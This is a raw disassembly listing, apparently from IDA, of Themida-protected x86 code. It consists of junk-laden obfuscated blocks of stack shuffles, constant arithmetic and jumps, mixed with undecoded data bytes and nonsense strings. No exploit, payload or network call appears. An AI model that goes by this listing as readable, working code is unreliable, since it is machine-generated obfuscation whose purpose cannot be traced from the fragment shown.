		add	esp, 4
		add	eax, edi
		mov	ecx, [eax]
		pop	eax
		jmp	loc_55D815
; ---------------------------------------------------------------------------


loc_54FF80:				; CODE XREF: Themida_:0055EB78j
		push	ecx
		mov	ecx, 5E44601Ah
		shr	ecx, 8
		not	ecx
		not	ecx
		push	ecx
		push	ebx
		jmp	loc_5620DA
; ---------------------------------------------------------------------------
aLbk?s		db '¾‹bK?éÆÄ',0
		align 2


loc_54FF9E:				; CODE XREF: Themida_:00557279j
		mov	edi, esp
		push	edx
		mov	edx, 7CAC40CDh
		push	ebp
		mov	ebp, 5DD0500Dh
		jmp	loc_552728
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4C7h, 0B07E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54FFC2:				; CODE XREF: Themida_:00558F03j
		add	edx, 34865EEAh
		jmp	loc_5638F4
; ---------------------------------------------------------------------------
aSqi		db '^éQˆ',0
		db 0
; ---------------------------------------------------------------------------


loc_54FFD3:				; CODE XREF: Themida_:00561066j
		mov	edx, 13192E75h
		push	edi
		jmp	loc_5518D3
; ---------------------------------------------------------------------------


loc_54FFDE:				; CODE XREF: Themida_:0055CA51j
		pop	ebp
		jmp	loc_559D86
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	0DCBB241Ch, 83232F32h
		dd 0E3C1FFEBh, 0ADB85002h, 0E910C00Eh, 14A13h, 815EF209h
		dd 1FFBDAEAh, 2FEF8142h, 51172F5Fh, 1103E9h
		db 0
; ---------------------------------------------------------------------------


loc_550021:				; CODE XREF: Themida_:00551B3Ej
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_54FF17
; ---------------------------------------------------------------------------


loc_550033:				; CODE XREF: Themida_:0055C1CEj
		sub	edx, eax
		jmp	loc_55B865
; ---------------------------------------------------------------------------


loc_55003A:				; CODE XREF: Themida_:0055BA32j
		push	edx
		jmp	loc_559DB2
; ---------------------------------------------------------------------------
dword_550040	dd 240C8B66h, 815E5456h, 4C6h, 4EE8300h, 4BFCE9h
					; DATA XREF: Themida_:0054FE00o
		db 0
; ---------------------------------------------------------------------------


loc_550055:				; CODE XREF: Themida_:00554308j
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	73326D49h
		jmp	loc_55FDF7
; ---------------------------------------------------------------------------


loc_550071:				; CODE XREF: Themida_:0055AB2Fj
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	4901h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_554D0F
; ---------------------------------------------------------------------------
		dd 5624148Bh, 0C681E689h, 4, 0DF07E9h
		db 0
; ---------------------------------------------------------------------------


loc_5500AD:				; CODE XREF: Themida_:00562F29j
		mov	bh, dl
		jmp	loc_56483F
; ---------------------------------------------------------------------------


loc_5500B4:				; CODE XREF: Themida_:00557D2Cj
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_55FDE4
; ---------------------------------------------------------------------------
		dw 0C2FEh
		dd 0EAD0DAF6h, 8050EA80h, 0E5E90BECh, 81000132h, 4C4h
		dd 8B95100h, 0E9241778h, 5B3Bh,	4F69E95Dh, 0C4810000h
		dd 4, 6A0468h, 243C8900h, 63D86852h, 815A67FAh,	272813CAh
		dd 4AE95520h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55010B:				; CODE XREF: Themida_:0055E5CAj
		pop	edx
		sub	edx, 7C153843h
		jmp	loc_55D3FF
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 24248B24h,	0E904C483h
		dd 0FFFFFDE3h, 0CD81D5F7h, 3FAE01D5h, 0FD3CE9h
		db 0
; ---------------------------------------------------------------------------


loc_550141:				; CODE XREF: Themida_:00551828j
		mov	edx, 31EC7258h
		inc	edx
		add	edx, 357D9B90h
		add	ebx, 52957130h
		sub	ebx, edx
		sub	ebx, 52957130h
		pop	edx
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7DC15130h
		jmp	loc_55BE25
; ---------------------------------------------------------------------------


loc_550172:				; CODE XREF: Themida_:00553832j
		push	3C764F59h
		pop	ecx
		shr	ecx, 7
		dec	ecx
		add	ecx, 4EEA8A5Eh
		mov	edi, ecx
		jmp	loc_55F28F
; ---------------------------------------------------------------------------
		db 28h,	0C7h, 58h
		dd 0CFFE5966h, 63B151h,	0BE959CFh
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55019B:				; CODE XREF: Themida_:00558E70j
		mov	bh, al
		mov	eax, [esp]
		jmp	loc_554DC0
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Eh, 81000000h,	4C6h, 4C68300h,	0E9243433h, 13A72h
		dd 0C681C629h, 6A3231AEh, 24348758h, 114D1E9h, 240C3100h
		dd 8B240C33h, 0FF662424h, 0E99C240Ch, 0FFFFFD33h, 8008E7C0h
		dd 5266FFC7h, 44FDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5501F1:				; CODE XREF: Themida_:0055ADF0j
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55AF76
; ---------------------------------------------------------------------------
aFiSF		db 'f‰ÃéÛf',0
		align 4
		dd 8758C201h, 535C2414h, 0B55160B3h, 0F0ED80F0h, 5AE9D5F6h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55021B:				; CODE XREF: Themida_:00554D31j
		mov	eax, esi
		pop	esi
		jmp	loc_5654DD
; ---------------------------------------------------------------------------
		db 8Fh
		dd 71E92404h, 560000E6h, 346346BEh, 4EC833Eh, 0BA241489h
		dd 7BA02CF0h, 148BD629h, 4C48124h, 0C1000000h, 0D6F703EEh
		dd 4591BA52h, 0EAC16482h, 4A1E908h, 0CF010001h,	0FFC2E953h
		dd 1590000h, 0FF515FF9h, 59042474h, 10502E9h, 0BF575B00h
		dd 4, 875FF901h, 0E95C240Ch, 0BF10h, 4C281h, 0C2830000h
		dd 24148704h, 4EC815Ch,	0E9000000h, 0B081h, 797275BEh
		dd 116DE941h, 8B660001h, 6852241Ch, 2BC9h, 83242489h, 5A042404h
		dd 4DB1E9h, 7E0C100h, 4A8CE9h, 0A7E95C00h, 0F7000077h
		dd 3BEE9DFh, 1BB90000h,	0E9305039h, 11C88h, 0B3241C89h
		dd 6EC38076h, 0E93FF380h, 111A0h, 3FC5805Ah, 0ED80DD28h
		dd 241C8B3Fh, 4C481h, 0EB280000h, 66B3E9h
		db 0
; ---------------------------------------------------------------------------


loc_550305:				; CODE XREF: Themida_:00550A23j
		sub	edx, 9610756h
		sub	esi, edx
		pop	edx
		jmp	loc_561A6D
; ---------------------------------------------------------------------------
byte_550313	db 0ACh			; DATA XREF: Themida_:0054FD34o
		dd 1F68D830h, 89000001h, 6CB22414h, 34FFD028h, 59685A24h
		dd 0E900006Fh, 0BC85h
; ---------------------------------------------------------------------------


loc_550330:				; CODE XREF: Themida_:0055677Dj
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 2F142042h
		shr	esi, 2
		neg	esi
		jmp	loc_55B5C3
; ---------------------------------------------------------------------------


loc_55034A:				; CODE XREF: Themida_:00557424j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 5C7E6AD3h
		jmp	loc_55FF18
; ---------------------------------------------------------------------------


loc_550361:				; CODE XREF: Themida_:00556A45j
		sub	edx, ebp
		sub	edx, 24353050h
		pop	ebp
		jmp	loc_55DFFE
; ---------------------------------------------------------------------------
		db 5Eh
		dd 3F0EEA81h, 0C2012393h, 3F0EC281h, 81582393h,	4ECh, 241C8900h
		dd 4BBh, 0E9DA2900h, 14E4Fh, 0DAC6E958h, 0EC810000h, 4
		dd 12192E9h
		db 0
; ---------------------------------------------------------------------------


loc_5503A5:				; CODE XREF: Themida_:0055A96Ej
		push	ebx
		mov	ebx, 0B295CC4h
		jmp	loc_55A38A
; ---------------------------------------------------------------------------
		dd 0E904EC83h, 0BEE9h, 1366C4B9h, 0BDE1815Ch, 680A8903h
		dd 0
		dd 0F2D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5503CD:				; CODE XREF: Themida_:00560975j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 4
		mov	ebp, edi
		pop	edi
		push	4E79h
		mov	[esp], ebp
		add	dword ptr [esp], 626E1FBCh
		jmp	loc_55A2F3
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0E2h
		dd 81766F79h, 0C53FA0C3h, 0B9515D70h, 4, 5EE7C381h, 0CB013AE5h
		dd 5EE7EB81h, 0C8B3AE5h, 4C48124h, 0E9000000h, 14AF0h
		dd 282C2EBEh, 0BFFE923h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55043E:				; CODE XREF: Themida_:00551A1Bj
		sub	esp, 4
		jmp	loc_5603F8
; ---------------------------------------------------------------------------


loc_550446:				; CODE XREF: Themida_:00551A11j
		push	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 67h
		push	ax
		mov	al, 5
		add	cl, al
		pop	ax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_560A7D
; ---------------------------------------------------------------------------


loc_55047D:				; CODE XREF: Themida_:00552E84j
		add	edx, 4
		push	ebp
		mov	ebp, 7B0D3FD3h
		add	ebp, 2A595AF3h
		add	ebp, 62303BAAh
		add	ebp, 1
		jmp	loc_55C77C
; ---------------------------------------------------------------------------
aFrW		db '(ÃfR¶w',0
		db 0F3h
aFzxqAa?IyiSn	db 'fZXQµÛ€í?(ëYˆØ[éN',0Ah,0
		align 4
		dd 835BDD01h, 2C8904ECh, 2474FF24h, 0C2E95D04h,	8B000011h
		dd 5451240Ch, 81240C8Bh, 4C4h, 0DBE95000h, 89000133h, 129E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5504EA:				; CODE XREF: Themida_:00550B63j
		mov	edx, 78C559BEh
		sub	esp, 4
		jmp	loc_554813
; ---------------------------------------------------------------------------
		dw 8B58h
		dd 8951240Ch, 4C181E1h,	0E9000000h, 0C2CFh, 8324148Bh
		dd 0C33004C4h, 66C0B60Fh, 0E9183468h, 11F46h, 260EF1BBh
		dd 17C8E914h, 2C890000h, 4EC8124h, 89000000h, 0CCE92424h
		db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55053B:				; CODE XREF: Themida_:005625F4j
		push	eax
		mov	eax, 4F477A46h
		shl	eax, 4
		xor	eax, 0F477A464h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 93323CDh
		sub	esi, 2340164Ah
		dec	esi
		jmp	loc_550B9B
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 96F8E9h
		db 0
; ---------------------------------------------------------------------------


loc_55056D:				; CODE XREF: Themida_:00555A95j
		mov	bh, 0D1h
		inc	bh
		jmp	loc_556545
; ---------------------------------------------------------------------------
		dw 0DDBDh
		dd 314FBD3Fh, 77895DEEh, 2C8B5E20h, 4EC8324h, 0E9241C89h
		dd 1344Bh
; ---------------------------------------------------------------------------


loc_550590:				; CODE XREF: Themida_:00564B93j
		pop	esp
		mov	[esp], ebp
		mov	ebp, ebx
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 329973D1h
		add	ebp, 59C24949h
		push	4D03h
		mov	[esp], ebx
		mov	ebx, 8C5BBD1Eh
		xor	ebp, ebx
		pop	ebx
		add	esi, ebp
		pop	ebp
		jmp	loc_552722
; ---------------------------------------------------------------------------
		db 21h,	0D0h, 0E9h
		dd 142C5h, 7E1ACD81h, 0ED815A62h, 7E7B7E36h, 40C9E9h, 4C48100h
		dd 68000000h, 6163h, 89243489h,	27FC68CEh, 34890000h, 48D3E924h
		dd 0EF680001h, 0E95D327Fh, 644Eh, 0E828C42Ch, 0C8BC404h
		dd 46E95124h, 89000010h, 3DE92404h, 8B000014h, 0C481241Ch
		dd 4, 0FFF8F6E9h, 81DEF7FFh, 0A1CFF1F6h, 0FFF501A1h, 348B2434h
		dd 36DFE924h, 91040000h, 0FFFECFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55063D:				; CODE XREF: Themida_:00559EC4j
		mov	esp, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_558546
		push	ecx
		mov	ecx, 15C5792Ah
		push	4C71h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	ebx, 57631227h
		mov	edx, 166A6C91h
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		and	edx, 1BA61BAEh
		add	edx, 516F2112h
		sub	edx, 619667D8h
		inc	edx
		neg	edx
		jmp	loc_55C890
; ---------------------------------------------------------------------------
		dd 5200C781h, 0F7816DE0h, 2952D7F0h, 835FFA01h,	2EE904ECh
		dd 0F7000031h, 0C78147D7h, 0D471BFB5h, 355FF821h, 18043810h
		dd 6F04EA81h, 0C2010146h, 6F04C281h, 0E9580146h, 0DF48h
		dd 4F86685Bh, 34890000h, 1A94E924h, 0E94D0000h,	0AFA6h
; ---------------------------------------------------------------------------


loc_5506E0:				; CODE XREF: Themida_:00557BBDj
		sub	edi, 0FFFFFFFFh
		push	ebx
		jmp	loc_56443C
; ---------------------------------------------------------------------------
		dd 2024F381h, 0D9014E54h, 2C29E95Bh
		db 2 dup(0)
word_5506FA	dw 8B66h		; DATA XREF: Themida_:0054FEB4o
		dd 0C468240Ch, 89000050h, 0D4682404h, 89000056h, 4812424h
		dd 424h, 0EC815800h, 4,	87E7E9h, 0E9ED8100h, 0F728EC3Eh
		dd 9AED81D5h, 8972507Ch, 37B85DEBh, 296D0377h, 0E8D15BD8h
		dd 7E8C148h, 62DA68h, 240C8900h, 185C6EB9h, 0E9C8096Bh
		dd 11B77h, 148BD589h, 3A20E924h
		db 1, 0
word_55075E	dw 0E9ADh		; DATA XREF: Themida_:0054FCB0o
		dd 10E32h, 72B268h, 24148900h, 0B9515A54h, 4, 324AEA81h
		dd 0CA015598h, 10D31E9h, 0BE95B00h
		db 40h,	1, 0
; ---------------------------------------------------------------------------


loc_550787:				; CODE XREF: Themida_:0056411Fj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_559110
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 50000000h,	4B8h, 58C72900h, 5C243C87h, 54243C89h
		dd 0FF5DE95Fh, 0C6010000h, 4EE8358h, 5C243487h,	0BA241489h
		dd 1818124Ah, 137EE9h, 243BF00h, 0F801427Ah, 2DD0015Fh
		dd 427A0243h, 5A2434FFh, 0E9E68956h, 0F36h, 4BC968h, 0AC5E900h
		dd 14890000h, 38B95124h, 89351960h, 0BA5259CAh,	4DA10681h
		dd 66FAE281h, 0AAE929F3h
		db 38h,	2 dup(0)
byte_550827	db 0FFh			; DATA XREF: Themida_:0054FCD8o
		dd 48B2434h, 73516824h,	3C890000h, 3E6A6824h, 0D7E90000h
		dd 890000E0h, 0F30158C6h, 0CFD6E9h, 0EB814300h,	561865EAh
		dd 1C8BDF89h, 4C48324h,	0B1F3E955h, 0C1590000h,	0DEF704EEh
		dd 323CF681h, 8CE9BF15h, 59000059h, 0C6D3E9h, 4EC8300h
		dd 2E32E9h
		db 0
; ---------------------------------------------------------------------------


loc_55087D:				; CODE XREF: Themida_:0055FCEDj
		push	esi
		jmp	loc_556AC1
; ---------------------------------------------------------------------------


loc_550883:				; CODE XREF: Themida_:005654C2j
		add	esp, 4
		mov	[edi+20h], ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55E8E8
; ---------------------------------------------------------------------------


loc_550895:				; CODE XREF: Themida_:00553429j
		mov	ebp, 474D4191h
		not	ebp
		shr	ebp, 4
		add	ebp, 0A4F1F4Eh
		xor	esi, ebp
		pop	ebp
		mov	ecx, esi
		pop	esi
		push	edi
		jmp	loc_550F9E
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 83000000h, 1C8704C3h, 6622E924h, 0E9570000h,	11D74h
		dd 7F173BBBh, 0E9DE313Ch, 0FC4Eh, 24043359h, 0D788E9h
		dd 1FD9B900h, 0E9C168ADh, 57FEE908h, 0BE560000h, 4, 335EF329h
		dd 1C31241Ch, 241C3324h, 2404895Ch, 4B8h, 0C1BE5600h, 0C148425Bh
		dd 814605E6h, 0AC0690EEh, 0C6814655h, 0A243CD71h, 348BF129h
		dd 4C48324h, 0FE23E9h, 0A3BD5500h, 2915A257h, 815A5DE9h
		dd 4ECh, 243C8900h, 4D1768h, 242C8900h,	4BDh, 5DEF8900h
		dd 34FFF901h, 0C1E95F24h, 68000048h, 385Bh, 0A434E9h, 0E930FF00h
		dd 0FFFFF5AFh, 0EACC781h, 69E905D7h
		db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_550973:				; CODE XREF: Themida_:00564AE9j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_557DF3
; ---------------------------------------------------------------------------


loc_55098C:				; CODE XREF: Themida_:0055248Bj
		sub	eax, ebx
		push	esi
		jmp	loc_554657
; ---------------------------------------------------------------------------
		dd 4C48159h, 30000000h,	1C8B66D8h, 2C48324h, 23B75351h
		dd 0D71DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5509AD:				; CODE XREF: Themida_:0055F5B8j
		xor	edx, [esp]
		mov	esp, [esp]
		add	[edi+24h], eax
		push	dword ptr [esp]
		jmp	loc_559EF0
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 113D7E9h
		db 0
byte_5509C5	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FD2Co
		dd 41FE924h, 28B80000h,	0C1039056h, 0F70508E8h,	0E973175Dh
		dd 0BA11h
dword_5509E0	dd 24048B66h, 26146850h, 8F540000h, 0BD552404h,	4, 4244481h
					; DATA XREF: Themida_:0054FCACo
		dd 7EE03D0h, 4246C01h, 13932E9h, 61BF5700h, 0E904D164h
		dd 0FFFFFEB2h
; ---------------------------------------------------------------------------


loc_550A10:				; CODE XREF: Themida_:0055BC64j
		pop	edx
		push	edx
		mov	edx, 7797203Ah
		xor	edx, 1E00B58h
		xor	edx, 4A7830F5h
		jmp	loc_550305
; ---------------------------------------------------------------------------


loc_550A28:				; CODE XREF: Themida_:00554A96j
		add	ebx, ecx
		jmp	loc_5560A6
; ---------------------------------------------------------------------------
		db 87h
		dd 305C240Ch, 0C0B60FC3h, 0E98734FFh, 0FFFFF4D7h, 0C381CB29h
		dd 94673ECh, 592434FFh,	4C481h,	0EB810000h, 553F2E6Bh
		dd 0E930FF66h, 0FFFFF4B7h, 875DE829h, 24E92404h, 6600004Dh
		dd 0B7241C89h, 66FA3085h, 7E2C05Bh, 0F6DCB353h,	0CAF380DBh
		dd 6F83E950h, 0EDC10000h, 3BF58105h, 123284Ch, 242C8BEBh
		dd 4B04C483h, 0A194E9h,	92DAF700h, 0A8685257h, 5A42E973h
		dd 12F87E9h, 65C26800h,	91E90000h
		db 42h,	1, 0
byte_550AB7	db 0FFh			; DATA XREF: Themida_:0054FDF4o
		dd 0F459E932h, 0C781FFFFh, 0EA44775h, 9A50E9h, 243C8700h
		dd 2BE565Ch, 1000000h, 3C335EF7h, 243C3124h, 0E16FE9h
		dd 5F595700h, 403CE9h, 0C6805900h, 0F6CEFE8Bh, 80C680D6h
		dd 45AF028h, 41AE91Ah
		db 2 dup(0)
word_550AFE	dw 0E9ADh		; DATA XREF: Themida_:0054FE3Co
		dd 13B8Dh, 1489665Ch, 9C506624h, 0FFF406E9h, 24048BFFh
		dd 4C481h, 34870000h, 0AB05E924h, 89500000h, 0D5BD55E0h
		dd 0E968F602h, 8B58h
; ---------------------------------------------------------------------------


loc_550B30:				; CODE XREF: Themida_:00551BBAj
		pop	ebx
		neg	ebp
		add	ebp, 7F361996h
		shl	ebp, 7
		sub	ebp, 32FF90E4h
		xor	edi, ebp
		pop	ebp
		jmp	loc_55A274
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4BB53h, 0DF010000h, 46B3E95Bh, 48F0000h, 13FAE924h
		db 1, 0
; ---------------------------------------------------------------------------


loc_550B62:				; CODE XREF: Themida_:0055C8BEj
		push	edx
		jmp	loc_5504EA
; ---------------------------------------------------------------------------
		dd 3E4DC5BDh, 0E9EA0136h, 1391h
; ---------------------------------------------------------------------------


loc_550B74:				; CODE XREF: Themida_:00552C36j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5582B6
; ---------------------------------------------------------------------------


loc_550B81:				; CODE XREF: Themida_:00556386j
		add	al, 5Eh
		add	al, cl
		sub	al, 5Eh
		pop	cx
		add	al, 41h
		sub	al, 0FFh
		jmp	loc_55FBE3
; ---------------------------------------------------------------------------


loc_550B92:				; CODE XREF: Themida_:00565276j
		sub	edx, ecx
		mov	ecx, edx
		jmp	loc_560077
; ---------------------------------------------------------------------------


loc_550B9B:				; CODE XREF: Themida_:0055055Ej
		dec	esi
		dec	esi
		xor	esi, 7F6E2EA4h
		sub	esi, 9A9D2320h
		jmp	loc_55F5AF
; ---------------------------------------------------------------------------
word_550BAE	dw 8B66h		; DATA XREF: Themida_:0054FD88o
		dd 2568240Ch, 89000022h, 0EC83243Ch, 24348904h,	60B0E9h
		dd 0FFC68000h, 86E9D6F6h, 8B0000D5h, 0C4832404h, 0B16EE904h
		dd 1C890000h, 0B75BBB24h, 1FE94CF0h, 81000118h,	0EB32CEF1h
		dd 96BF5719h, 311E3F28h, 243C8BF9h, 4C481h, 0C1830000h
		dd 4706E901h, 2C890000h, 263B6824h, 0A1E90000h,	0BD0000FCh
		dd 1B4B72AEh, 0C2B5F581h, 5E9A032h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550C23:				; CODE XREF: Themida_:005647F8j
		sub	edx, 12861E92h
		jmp	loc_55F503
; ---------------------------------------------------------------------------


loc_550C2E:				; CODE XREF: Themida_:00564CE2j
		add	esp, 4
		add	edx, 21144756h
		neg	edx
		neg	edx
		xor	edx, 2D2E4D64h
		mov	ebx, edx
		pop	edx
		mov	esi, ebx
		pop	ebx
		push	7732h
		mov	[esp], esi
		mov	esi, 3D6D14F9h
		shr	esi, 7
		jmp	loc_550EE4
; ---------------------------------------------------------------------------
		db 81h
		dd 304062EBh, 81C30131h, 304062C3h, 0D9015831h,	2C1815Bh
		dd 33000000h, 0C31240Ch, 240C3324h, 7350E9h, 0D15F5E00h
		dd 41F581E5h, 4572E772h, 243C8755h, 3C87D7F7h, 0CD815D24h
		dd 57E669F2h, 9211C581h, 0EF012009h, 5D2434FFh,	9A47E9h
		dd 0C5BA5200h, 8138F300h, 5451CBCAh, 0C281420Dh, 0F28C2949h
		dd 815AD329h, 32544DC6h, 81DE0133h, 32544DEEh, 6957E933h
		dd 0B9510000h, 88339B4h, 1294C981h, 0C1411FADh,	0E94105E1h
		dd 0B3BEh, 485EF001h, 113868h, 240C8900h, 0DF582DB9h, 6E09051Fh
		dd 0C80173C5h, 0C56E092Dh, 0FA0E973h, 0D2F70000h, 6B8FBF57h
		dd 0B4E96E89h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550D1F:				; CODE XREF: Themida_:00561F8Aj
		pop	edi
		dec	edx
		xor	edx, 0F8A127Fh
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_560685
; ---------------------------------------------------------------------------


loc_550D36:				; CODE XREF: Themida_:00556060j
		pop	edi
		xor	eax, [esp]
		jmp	loc_56062E
; ---------------------------------------------------------------------------
byte_550D3F	db 66h			; DATA XREF: Themida_:0054FDE8o
		dd 5224048Bh, 24148B54h, 5304C483h, 84F5EBBh, 40E94B68h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550D57:				; CODE XREF: Themida_:0056456Dj
		pop	esi
		sub	eax, esi
		pop	esi
		not	eax
		push	ecx
		mov	ecx, 587C0DA7h
		inc	ecx
		or	ecx, 45DE57BBh
		and	ecx, 788B3CD4h
		and	ecx, 22961C8Ch
		dec	ecx
		xor	ecx, 391E63D9h
		sub	eax, 38612F89h
		add	eax, ecx
		jmp	loc_5571F9
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
aHG_0		db '$hÙG',0
		align 2
		dw 1C89h
		dd 47A9BB24h, 5CE933A3h, 68000144h, 513D7A0Fh, 4F00E9h
		db 0
byte_550DA9	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:0054FC58o
		dd 55E68956h, 411AF2BDh, 11ED816Dh, 815B800Fh, 0E03F19F5h
		dd 1917E978h, 0EB810001h, 23116066h, 5F2434FFh,	8304C483h
		dd 0FF5304C3h, 0E9042474h, 0C244h
; ---------------------------------------------------------------------------


loc_550DE0:				; CODE XREF: Themida_:0055B010j
		push	ebp
		pop	edi
		pop	ebp
		mov	eax, 202C6DDBh
		jmp	loc_55C852
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E189240Ch, 3233BE56h, 0EE817BBBh, 772B654Fh
		dd 0FFFFEE81h, 0EC81FFFFh, 4, 0BD242C89h, 29E936DFh, 0FCE1B850h
		dd 0C501F79Eh, 216CE9h
		db 0
; ---------------------------------------------------------------------------


loc_550E25:				; CODE XREF: Themida_:00558A55j
		mov	edi, 42FC7B41h
		jmp	loc_55937C
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0B5E9F029h
		db 0E5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_550E37:				; CODE XREF: Themida_:00552F3Cj
		or	eax, 661D5F79h
		add	eax, 89E5C560h
		xor	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55E3B2
; ---------------------------------------------------------------------------
		dd 0D2F74A5Ah, 1138FE9h, 4EE8300h, 51ABE9h
		db 0
; ---------------------------------------------------------------------------


loc_550E65:				; CODE XREF: Themida_:005609A0j
		xor	ecx, esi
		pop	esi
		mov	esi, ecx
		pop	ecx
		dec	esi
		shr	esi, 3
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3A897ABCh
		push	esi
		mov	esi, 16C656E7h
		jmp	loc_5556B3
; ---------------------------------------------------------------------------


loc_550E85:				; CODE XREF: Themida_:0055EA5Ej
		sub	edx, ecx
		mov	ecx, [esp]
		push	eax
		push	esp
		jmp	loc_5633EE
; ---------------------------------------------------------------------------
		db 29h,	0D6h, 0E9h
		dd 1359Eh, 5AE8E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550E9E:				; CODE XREF: Themida_:0055431Fj
		push	edx
		mov	edx, 381C1928h
		shl	edx, 1
		and	edx, 2F9B1814h
		jmp	loc_551BBF
; ---------------------------------------------------------------------------


loc_550EB1:				; CODE XREF: Themida_:0055CC89j
		xor	edi, 5FD12BA5h
		mov	ebx, edi
		pop	edi
		or	ebx, 10DC0C7Bh
		dec	ebx
		sub	ebx, 38CAF487h
		jmp	loc_552145
; ---------------------------------------------------------------------------
		dd 5BDA015Eh, 0AFE9D2F7h, 83000083h, 0C58004C4h, 0E9CDFE48h
		dd 3361h
; ---------------------------------------------------------------------------


loc_550EE4:				; CODE XREF: Themida_:00550C5Aj
		add	esi, 0FFFFFFFFh
		shr	esi, 8
		not	esi
		add	esi, 7D32885Fh
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, esi
		add	ecx, 7D320D84h
		jmp	loc_5552AE
; ---------------------------------------------------------------------------
aIXs		db 'ˆÂXéÄ',0Ah,0
		align 2
		dw 0E95Bh
		dd 0E203h, 1A2CD828h, 0BC2C1C04h, 808CB551h, 0D5F68AF5h
		dd 10469E9h
		db 0
; ---------------------------------------------------------------------------


loc_550F2D:				; CODE XREF: Themida_:0055A5BAj
		shr	dh, 5
		jmp	loc_5532EE
; ---------------------------------------------------------------------------
		db 68h,	97h, 5Fh
		dd 0C890000h, 2D70E924h, 14890000h, 0E95A5424h,	11B17h
		dd 96C7B68h, 57BEE92Fh,	0C2830000h, 24148704h, 4BB535Ch
		dd 56000000h, 6B19E5BEh, 77C4E962h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550F6E:				; CODE XREF: Themida_:0055A05Fj
		pop	ebp
		not	eax
		jmp	loc_55E19D
; ---------------------------------------------------------------------------
		dw 0B5B8h
		dd 2D51B819h, 0F0E9FAA3h, 48BC301h, 4C48124h, 0E9000000h
		dd 0E934h, 806EB551h, 0EA0006EDh, 2D86E959h
		db 1, 0
; ---------------------------------------------------------------------------


loc_550F9E:				; CODE XREF: Themida_:005508ACj
		mov	edi, 26A24BC5h
		sub	ecx, edi
		jmp	loc_558C98
; ---------------------------------------------------------------------------
aGsym		db 'µgéYm',0
		dd 4C48100h, 83000000h,	0C48104C4h, 4, 0FFEF52E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550FC5:				; CODE XREF: Themida_:00564095j
		and	edx, edi
		pop	edi
		jmp	loc_55CAF3
; ---------------------------------------------------------------------------
aXh_		db 'XhÔ_',0
